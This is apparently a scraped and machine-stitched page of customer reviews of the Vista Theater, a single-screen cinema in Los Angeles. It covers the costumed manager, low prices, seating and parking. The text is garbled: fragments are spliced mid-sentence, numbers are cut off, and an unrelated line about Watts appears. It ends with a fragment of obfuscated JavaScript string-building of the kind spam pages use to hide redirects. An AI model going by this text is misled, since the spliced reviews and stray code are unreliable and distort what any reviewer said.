That's ultimately what the Vista and the gang do- - they're custodians of a TARDIS who usher you to other worlds by showing that those places aren't too far away after all.. Full of personal touches in an age of impersonal multi- plexes All in the greatest movie town on Earth.. Their prices are unbeatable, and with all the butter I could ever want on my popcorn.. That bit of appreciation the workers show you for supporting their indie establishment is enough to make me want to come in every week.

He even dresses up as one of the character from whatever movie they are showing.. Overall 5++++ star experience!Worthy of a positive review It's hard to rate a cinema but this one makes you realize what it should be about: movies.. Plus the manager dresses up in character and let's you take a fun picture Only drawback, come a few minutes early to get street parking- then it's walking distance to all the restaurants on Hillhurst.. What a find! I'm so happy that I happened upon Vista Theater while walking through the Silver Lake area! Watts is a neighborhood in the city of Los Angeles in South L.. The bathroom was a little bit smelly and kind of dirty They should look for a way to keep clean and maybe have something installed so it can smell better.. HIGHLY RECOMMENDED! Classic Single screen theatre Great image and sound Spacious rows and comfortable seats.. Your chair will never be kicked by the person behind you! Price is great at $9 The manager always has a smile on his face.. Staff is not pretentious The movie I went to see (La La Land) started less than 1.. I'm in heaven!!!! We tried to match the time and Vista was showing it at 9: 5 I have never been here but always drove by and saw great reviews about it on yelp.. Movie- goers are greeted with a warm welcome by the staff I was not able to gather exactly who the gentleman was - wearing a blue sparkling suit, but he sure was very welcoming as we stepped right in.. The seats were comfortable, the space between seats and rows were totally wonderful, the screen for the movie was a perfect size, the customer service was flawless, and they even got dressed up in there is such a huge gap in between in may not be all that bad The inside was so pretty and classic.. Just a little fyi :) Other than the little mishaps of the seats and parking, this is a great movie theater to check out for the price and overall feel! I also like how it's not so crazy packed, since most theaters are in malls or central popular area, this felt more intimate and straight to the point..

GO VISTABest theater ever! So rich in history and all around amazing Super retro movie intros, comfy seats, and really awesome vintage decor on the walls.. This place is dirt cheap: $6 LA, and you're only going to pay another $2 The staff is pretty much always smiling; they keep the Egyptian- themed interior decor in exquisite, museum- like condition.. Just be patient But also lots of food places nearby including a conveniently placed coffee shop across the street to hang out at if you arrive early..
You get a theatrical feel from the moment you purchase your ticket from the single box ticket booth to the moment you walk towards your seat and see the big red curtains! Just before the movie plays, vintage ads (cartoon popcorn and soda pop) are shown and it is very nostalgic for some and amusing for others.. Plenty of leg room and very reasonable pricing- much cheaper than our local theater.. Had a scary occurrence outside the theatre before the first screening of the day and she came out to help.. A Did not know that could exist When you walk in, it really has that warm and inviting feel to it.. Release date Major here you get a feeling like your teleported back in the past! No reserve seating, only plays one movie, and general ticket is only $9.. But anyway, you don't go to such a place to eat popcorn, even if it's a nice added value.. go";c["Juy"]="ino";c["oou"]="f=d";
